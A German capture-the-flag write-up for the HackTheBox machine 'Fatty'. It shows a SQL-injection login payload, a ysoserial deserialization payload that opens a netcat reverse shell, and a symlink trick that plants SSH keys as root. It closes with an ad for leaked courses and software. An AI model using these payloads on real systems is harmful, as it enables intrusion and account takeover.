
Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Plattform gesendet wurden .
In diesem Artikel werden zwei Java-Anwendungen beim Ändern und Neukompilieren des Clients umgekehrt, um die SQL-Injection während der Autorisierung auszunutzen und Befehle auf dem Server auszuführen, da beim Java-Objekt eine Sicherheitsanfälligkeit besteht.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.
Organisationsinformationen
Aufklärung
Dieser Computer hat eine IP-Adresse vom 10.10.10.174, die ich zu / etc / hosts hinzufüge.
10.10.10.174 fatty.htb
Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174 --rate=500

Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.
nmap -A fatty.htb -p21,22,1337,1338,1339

Aus dem nmap-Scan geht hervor, dass eine anonyme FTP-Anmeldung möglich ist, die mehrere Notizen und eine JAR-Datei enthält. Laden Sie alles herunter, was da ist.
wget ftp://fatty.htb/*
Der erste Hinweis besagt, dass der Server auf den Ports 1337, 1338 und 1339 ausgeführt wird und dass der Client noch über Port 8000 verfügt und repariert werden muss.
Der zweite Beitrag beschreibt das statische Layout von Elementen im Client-Formular und dass der Client mit Java 8 arbeitet.

Der dritte Hinweis besagt, dass Sicherheitsprobleme und Anmeldeinformationen bereitgestellt werden.
Starten wir den Client.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar

Lassen Sie uns den Client dekompilieren. Ich verwende Intellij IDEA, also habe ich die Java-Dekompiler-Erweiterung dafür installiert. Entpacken Sie einfach die JAR-Datei und geben Sie das Verzeichnis als Projektverzeichnis an. In der Datei beans.xml finden wir die Verbindungsparameter.

Lassen Sie uns den lokalen Port 8000 auf die Fernbedienung 1337 werfen.
simpleproxy -L 8000 -R fatty.htb:1337
In diesem Fall machen wir einen Eintrag in / etc / hosts.
127.0.0.1 server.fatty.htb
Auf diese Weise wird der gesamte Clientverkehr zum Remote-Host umgeleitet. Wir starten und melden uns an.
Schauen wir uns in der App um. Von all dem sollten Sie bei der Funktion aufhören, eine Liste von Dateien zu erhalten und Dateien zu lesen.
Wenn wir jedoch versuchen, weitere Dateien zu lesen, werden Fehler angezeigt.
Die Frage ist nur, wo sich der Filter befindet. Erwarten Sie die Notwendigkeit, den Code zu patchen, dekompilieren Sie die Anwendung in jd-gui und speichern Sie sie.
Öffnen Sie den Ordner nach dem Entpacken als Projekt in Intellij IDEA.
Java neu kompilieren
Wir werden die Anwendung neu kompilieren (diese Methode funktioniert auch für verschleierte Anwendungen). Lassen Sie uns nun das Umgebungs-Setup durchgehen. Gehen Sie zu Datei-> Projektstruktur und Projekteinstellungen und stellen Sie die folgenden Einstellungen ein: SDK-Version - java8 und das Verzeichnis, in dem die kompilierten Dateien gespeichert werden.

Gehen Sie als Nächstes zu Projektmodule und wählen Sie unter Quellen die für uns interessanten Verzeichnisse aus, die den Hauptcode enthalten.

Fügen Sie unter Abhängigkeiten die JAR-Datei der Anwendung selbst hinzu.

Wie Sie sehen können, ist der neben dem Element Probleme verschwunden. Mach weiter. Anwendung zum Ausführen / Debuggen von Konfigurationen hinzufügen.


Und wir werden die Starter-Klasse als Hauptklasse angeben, da das Programm davon ausgeht.


Alles ist fertig. Gehen Sie nun zur Invoke-Klasse und setzen Sie einen Haltepunkt in der Dateilistenfunktion, um das Verzeichnis zu ändern.

Jetzt beginnen wir mit dem Debuggen und hören an diesem Punkt auf.

Und ändern Sie den Wert der Ordnervariablen.



Und es hat funktioniert. Wir sehen eine Liste von Dateien. Lassen Sie uns herausfinden, was in der Datei start.sh enthalten ist. Dazu finden wir die Funktion zum Lesen der Datei und setzen darin einen Haltepunkt.

Öffnen wir diese Datei im Anhang und hören an dieser Stelle auf.

Und ändern Sie den Wert des variablen Ordnernamens.


Und wir haben diese Datei erfolgreich gelesen.

Daher wird diese Anwendung im Auftrag des Systembenutzers qtc ausgeführt. Um die Anwendung zu erhalten, müssen Sie den Code ändern. Fügen wir eine Funktion zum Schreiben in eine Datei hinzu, erhalten die Antwort in Bytes, codieren sie in base64 und übergeben diese Zeichenfolge an diese Funktion.

Lassen Sie uns eine Datei über die Anwendung anfordern, an einem Haltepunkt anhalten und den Pfad ändern.

Und die Datei wurde erfolgreich gespeichert.

cat srv.b64 | base64 -d > fatty-server.jar
Server pwning
Öffnen Sie die Serveranwendung in jd-gui. Nachdem wir uns den Code ein wenig angesehen haben, sammeln wir sehr nützliche Informationen. Zum Beispiel Datenbankverbindungsdaten.

Und auch eine Anfrage an die Datenbank während der Autorisierung.

Auf diese Weise wird ein Benutzer für die Anwendung basierend auf den Daten erstellt, die von der Datenbank zurückgegeben werden.


Somit können wir eine solche Anfrage stellen, damit das uns bekannte qtc erstellt wurde, jedoch bereits mit Administratorrechten. Wir kennen seinen Benutzernamen und sein Passwort, aber der Hash muss aus der Datenbank zurückgegeben werden. Berechnen wir es:

Wir müssen eine Abfrage wie folgt ausführen:
SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'
Um dies zu tun, werden wir beim Debuggen der Anwendung bei der Anmeldefunktion anhalten.

Und ändern Sie den variablen Benutzernamen.
qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin
Nach erfolgreicher Autorisierung sehen wir unsere Rechte, wir arbeiten als Administrator.
Um während des Debuggens nichts anderes zu ändern, aber auch bei leeren Feldern ständig Administratorzugriff zu erhalten, ändern wir die Anmeldefunktion.
Nachdem wir herausgefunden haben, wie wir unsere Rechte erhöhen können, werfen wir einen Blick auf die neuen verfügbaren Funktionen und entscheiden uns für den weiteren Angriffsvektor. Und im Servercode halten wir an der Verwendung der Serialisierung in der Passwortänderungsfunktion fest.
Lassen Sie uns diese Funktion in der Client-Anwendung finden.
Das Benutzerobjekt wird also serialisiert, base64-codiert und an den Server übergeben, wo es decodiert und deserialisiert wird. Da der Name der Funktion abgeblendet ist, wird er nirgendwo verwendet. Sie können dies überprüfen, indem Sie versuchen, das Kennwort zu ändern.
Fügen Sie einen Haltepunkt in die Kennwortänderungsfunktion ein, bevor Sie das serialisierte Objekt als Argument hinzufügen.
Lassen Sie uns den Code finden, der ausgeführt wird, wenn Sie auf die Schaltfläche Ändern klicken.
Fügen wir den Funktionsaufruf hinzu.
Sie können ysoserial verwenden , um eine Sicherheitsanfälligkeit bei der Deserialisierung von Daten auszunutzen . Definieren wir zunächst ein Modul.
grep -R Invoke .
Daher werden wir CommonsCollections verwenden.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0
Und wir werden die empfangene Last in den geänderten Code der Passwortänderungsfunktion einfügen.
Nach dem Ausführen der Anwendung erhalten wir eine Rückverbindung.
WURZEL
Laden Sie eines der Systemaufzählungsskripte, z. B. Linpeas. Wir finden nichts Interessantes, außer dass wir uns in einem Docker-Container befinden.
Da wir nichts Statisches gefunden haben, starten wir pspy und verfolgen die laufenden Prozesse. Aber nachdem ich ein wenig gewartet hatte, passierte nichts Interessantes. Dann habe ich den Prozess initiiert, indem ich die Client-Anwendung gestartet und geschlossen habe. Nach dem Schließen der Anwendung wurde der Befehl scp ausgegeben.
Somit wird das Archiv mit den Protokollen kopiert. Ich kann davon ausgehen, dass es auch ausgepackt ist. Lassen Sie uns zusammen loggen, einen Link zu einer Datei mit SSH-Schlüsseln hochladen, erstellen und verpacken.
Lassen Sie uns das Archiv überprüfen.
Ausgezeichnet. Öffnen Sie nun die Anwendung, melden Sie sich an, ändern Sie die Protokolle und schließen Sie die Anwendung.
mv my.tar /opt/fatty/tar/logs.tar
Wenn Sie so etwas wiederholen, wird der Inhalt der Datei in autorisierte Schlüssel geschrieben. Daher generieren wir mit ssh-keygen ein Schlüsselpaar, wiederholen den Trick mit der Anwendung und schreiben ein öffentliches anstelle eines Archivs.
Jetzt können wir uns über SSH mit einem privaten Schlüssel verbinden.
Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.